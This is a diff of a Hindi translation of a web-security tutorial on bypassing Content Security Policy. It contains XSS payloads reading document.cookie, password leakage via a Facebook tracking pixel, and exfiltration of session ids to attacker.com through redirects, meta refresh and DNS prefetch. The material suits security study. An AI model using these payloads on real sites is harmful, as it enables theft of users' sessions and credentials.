5. अपने ऐप के "Event Manager" पर जाएं और उस प्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं:
@ -360,9 +360,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
जैसे कि पिछले तालिका में निर्दिष्ट अन्य सात तृतीय-पक्ष डोमेन के लिए, उन्हें दुरुपयोग करने के कई अन्य तरीके हैं। अन्य तृतीय-पक्ष दुरुपयोगों के बारे में अतिरिक्त स्पष्टीकरण के लिए पहले के [ब्लॉग पोस्ट](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) को देखें।
### RPO (Relative Path Overwrite) के माध्यम से बायपास <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, कुछ सर्वरों पर उपयोग की जाने वाली एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है।
पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है, जिसे कुछ सर्वरों पर उपयोग किया जा सकता है।
उदाहरण के लिए, यदि CSP पथ `https://example.com/scripts/react/` की अनुमति देता है, तो इसे निम्नलिखित तरीके से बायपास किया जा सकता है:
```html
@ -370,13 +370,13 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` को लोड करेगा।
यह काम करता है क्योंकि ब्राउज़र के लिए, आप `https://example.com/scripts/react/` के अंतर्गत स्थित `..%2fangular%2fangular.js` नामक फ़ाइल को लोड कर रहे हैं, जो CSP के अनुरूप है।
यह काम करता है क्योंकि ब्राउज़र के लिए, आप `https://example.com/scripts/react/` के तहत स्थित `..%2fangular%2fangular.js` नामक फ़ाइल को लोड कर रहे हैं, जो CSP के अनुरूप है।
∑, वे इसे डिकोड करेंगे, प्रभावी रूप से `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करेंगे, जो `https://example.com/scripts/angular/angular.js` के बराबर है।
∑, वे इसे डिकोड करेंगे, प्रभावी रूप से `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करते हुए, जो `https://example.com/scripts/angular/angular.js` के बराबर है।
**ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगति का लाभ उठाकर, पथ नियमों को बायपास किया जा सकता है।**
समाधान यह है कि सर्वर-साइड पर `%2f` को `/` के रूप में नहीं माना जाए, जिससे ब्राउज़र और सर्वर के बीच सुसंगत व्याख्या सुनिश्चित हो सके और इस समस्या से बचा जा सके।
समाधान यह है कि सर्वर-साइड पर `%2f` को `/` के रूप में नहीं माना जाए, जिससे ब्राउज़र और सर्वर के बीच व्याख्या में निरंतरता सुनिश्चित हो सके और इस समस्या से बचा जा सके।
ऑनलाइन उदाहरण:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -397,14 +397,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
### AngularJS घटनाएँ
एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, जावास्क्रिप्ट घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।
एक विशेष नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।
इस सरणी को `orderBy` फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व ( `window` ऑब्जेक्ट) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे `alert()` को सक्रिय करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
यह स्निपेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करता है, और `alert()` फ़ंक्शन को निष्पादित करने के लिए `window` ऑब्जेक्ट का लाभ उठाता है, इस प्रकार `document.cookie` को प्रकट करता है।
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करता है, और `alert()` फ़ंक्शन को निष्पादित करने के लिए `window` ऑब्जेक्ट का लाभ उठाता है, इस प्रकार `document.cookie` को प्रकट करता है।
**अन्य Angular बायपास खोजें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -422,13 +422,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
अन्य JSONP मनमाने निष्पादन एंडपॉइंट्स [**यहां**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
अन्य JSONP मनमाने निष्पादन एंडपॉइंट [**यहां**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
### रीडायरेक्शन के माध्यम से बायपास
जब CSP सर्वर-साइड रीडायरेक्शन का सामना करता है तो क्या होता है? यदि रीडायरेक्शन एक अलग मूल की ओर ले जाता है जो अनुमति नहीं है, तो यह अभी भी विफल हो जाएगा।
हालांकि, [CSP स्पेक 4.2.2.3. प्स और रीडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।
हालांकि, [CSP स्पेक 4.2.2.3. पथ और रीडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।
यहां एक उदाहरण है:
```html
@ -462,7 +462,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि उपयोग कर सकते हैं।
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि का उपयोग कर सकते हैं।
आप इस CSP को छवियों के माध्यम से डेटा निकालकर बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां एक पृष्ठ जो बॉट द्वारा सुलभ है, एक SQLi है, और एक छवि के माध्यम से ध्वज निकालता है):
```javascript
@ -470,7 +470,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड** कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप **एक विशेष छवि तैयार** कर सकते हैं, **उसे ट्विटर पर अपलोड** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके **एक JS कोड को निष्पादित** कर सकते हैं (जैसे एक सामान्य XSS) जो **छवि को लोड** करेगा, **उससे JS को निकाल**ेगा और **उसे निष्पादित** करेगा: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड** कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप **एक विशेष छवि तैयार** कर सकते हैं, **उसे ट्विटर पर अपलोड** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके **एक JS कोड को निष्पादित** कर सकते हैं (जैसे एक सामान्य XSS) जो **छवि को लोड** करेगा, **उससे JS निकाल**ेगा और **इसे निष्पादित** करेगा: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### सेवा कार्यकर्ताओं के साथ
@ -502,7 +502,7 @@ Edge में यह बहुत सरल है। यदि आप CSP म
### img-src \*; XSS (iframe) के माध्यम से - टाइम अटैक
निर्देश `'unsafe-inline'` की कमी पर ध्यान दें।\
इस बार आप पीड़ित को **XSS** के माध्यम से **आपके नियंत्रण** में एक पृष्ठ **लोड** करने के लिए मजबूर कर सकते हैं `<iframe`। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करेंगे जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप **पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
इस बार आप पीड़ित को **XSS** के माध्यम से **आपके नियंत्रण** में एक पृष्ठ **लोड** करने के लिए मजबूर कर सकते हैं `<iframe` के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करने जा रहे हैं जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप **पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
इस बार एक **झंडा** निकाला जाएगा, जब भी एक **चर सही अनुमानित** किया जाता है SQLi के माध्यम से **प्रतिक्रिया** **अधिक समय** लेती है नींद फ़ंक्शन के कारण। फिर, आप झंडा निकालने में सक्षम होंगे:
```html
@ -568,11 +568,11 @@ run();
यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर **उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है**। यह बुकमार्कलेट **दुष्ट जावास्क्रिप्ट** कोड को शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, **CSP को बायपास करते हुए और संवेदनशील जानकारी** जैसे कुकीज़ या टोकन चुराने की अनुमति देगा।
अधिक जानकारी के लिए [**यहाँ मूल रिपोर्ट देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
अधिक जानकारी के लिए [**यहाँ मूल रिपोर्ट देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)
### CSP बायपास द्वारा CSP को प्रतिबंधित करना
[**इस CTF लेख में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**
[**इस CTF लेख में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**
आप **`csp`** विशेषता के साथ एक iframe के CSP को **प्रतिबंधित** कर सकते हैं:
@ -582,8 +582,8 @@ run();
```
{% endcode %}
[**इस CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML injection** के माध्यम से **CSP** को और अधिक **सीमित** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट अक्षम हो गया और इसलिए **कमजोरी का लाभ उठाया जा सका।**\
CSP को **HTML मेटा टैग** का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को अक्षम किया जा सकता है **उनके** **nonce** को अनुमति देकर और **sha के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को सक्षम करके**:
[**इस CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML इंजेक्शन** के माध्यम से **CSP** को अधिक **सीमित** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट अक्षम हो गया और इसलिए **कमजोरी का लाभ उठाया जा सका।**\
CSP को **HTML मेटा टैग** का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को अक्षम किया जा सकता है **उनके** **nonce** को अनुमति देने के लिए **प्रवेश** को **हटाकर** और **sha के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को सक्षम करके**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -602,28 +602,28 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
```
### CSP और Iframe के साथ जानकारी लीक करना
* एक `iframe` बनाया जाता है जो एक URL (हम इसे `https://example.redirect.com` कहते हैं) की ओर इशारा करता है जिसे CSP द्वारा अनुमति दी गई है।
* एक `iframe` बनाया जाता है जो एक URL (मान लेते हैं `https://example.redirect.com`) की ओर इशारा करता है जिसे CSP द्वारा अनुमति दी गई है।
* यह URL फिर एक गुप्त URL (जैसे, `https://usersecret.example2.com`) की ओर रीडायरेक्ट करता है जो CSP द्वारा **अनुमति नहीं दी गई** है।
* `securitypolicyviolation` इवेंट को सुनकर, कोई `blockedURI` प्रॉपर्टी को कैप्चर कर सकता है। यह प्रॉपर्टी ब्लॉक किए गए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL द्वारा रीडायरेक्ट किए गए गुप्त डोमेन का लीक होना होता है।
यह ध्यान देने योग्य है कि Chrome और Firefox जैसे ब्राउज़रों में CSP के संबंध में iframes को संभालने में विभिन्न व्यवहार होते हैं, जो संवेदनशील जानकारी के संभावित लीक का कारण बन सकते हैं।
एक और तकनीक CSP का स्वयं शोषण करना है ताकि गुप्त सबडोमेन का अनुमान लगाया जा सके। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशिष्ट डोमेन को शामिल करने के लिए समायोजित करती है जिन्हें जानबूझकर ब्लॉक किया गया है। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेन को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेन का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:
एक और तकनीक CSP का उपयोग करके गुप्त सबडोमेन का अनुमान लगाने में शामिल है। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशिष्ट डोमेन को शामिल करने के लिए समायोजित करती है जिन्हें जानबूझकर ब्लॉक किया गया है। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेनों को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेनों का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP द्वारा अवरुद्ध या अनुमत अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के बारीकियों का लाभ उठाती हैं, यह प्रदर्शित करते हुए कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।
[**यहाँ**](https://ctftime.org/writeup/29310) से ट्रिक।
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकरों और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
**हैकिंग अंतर्दृष्टि**\
ऐसे सामग्री के साथ संलग्न हों जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
**वास्तविक समय हैक समाचार**\
वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
@ -648,7 +648,7 @@ PHP को डिफ़ॉल्ट रूप से **4096** बाइट्स
### त्रुटि पृष्ठ को फिर से लिखें
[**इस लेख**](https://blog.ssrf.kr/69) से ऐसा लगता है कि एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) लोड करके CSP सुरक्षा को बायपास करना संभव था और इसकी सामग्री को फिर से लिखा गया
[**इस लेख**](https://blog.ssrf.kr/69) से ऐसा लगता है कि CSP सुरक्षा को बायपास करना संभव था एक त्रुटि पृष्ठ (संभवतः CSP के बिना) को लोड करके और इसकी सामग्री को फिर से लिखकर
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
@ -665,7 +665,7 @@ SOME एक तकनीक है जो एक XSS (या अत्यधि
इसके अलावा, **wordpress** में `/wp-json/wp/v2/users/1?_jsonp=data` पर एक **JSONP** अंत बिंदु है जो **आउटपुट में भेजे गए डेटा** को **प्रतिबिंबित** करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।
एक हमलावर उस अंत बिंदु का दुरुपयोग करके **WordPress के खिलाफ एक SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि यह **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **SOME हमले** का दुरुपयोग **कमजोर** **callback** अंत बिंदु के माध्यम से कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
एक हमलावर उस अंत बिंदु का दुरुपयोग करके **WordPress के खिलाफ एक SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि इसे **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **SOME हमले** का दुरुपयोग **कमजोर** **कॉलबैक** अंत बिंदु के माध्यम से कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@ -681,16 +681,16 @@ document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag
आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह सामग्री लीक नहीं करेगा)
आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह सिर्फ एक रीडायरेक्ट है, यह सामग्री लीक नहीं करेगा)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch
पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-समाधान करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-समाधान करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-हल करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-हल करने के लिए संकेत दे सकते हैं: `<link rel="dns-prefetch" href="something.com">`
आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को एक्सफिल्ट्रेट** कर सकते हैं:
आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को निकाल सकते हैं**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
@ -731,16 +731,16 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Checking CSP Policies Online
## CSP नीतियों की ऑनलाइन जांच
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Automatically creating CSP
## CSP स्वचालित रूप से बनाना
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## References
## संदर्भ
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -752,32 +752,32 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
**Hacking Insights**\
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़े
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हो
**Real-Time Hack News**\
तेज गति वाली हैकिंग दुनिया के साथ वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से अद्यतित रहें
**वास्तविक समय हैक समाचार**\
वास्तविक समय की समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
**Latest Announcements**\
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**हमसे जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -1,4 +1,4 @@
# CSRF (Cross Site Request Forgery)
# CSRF (क्रॉस साइट अनुरोध धोखाधड़ी)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -30,11 +30,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
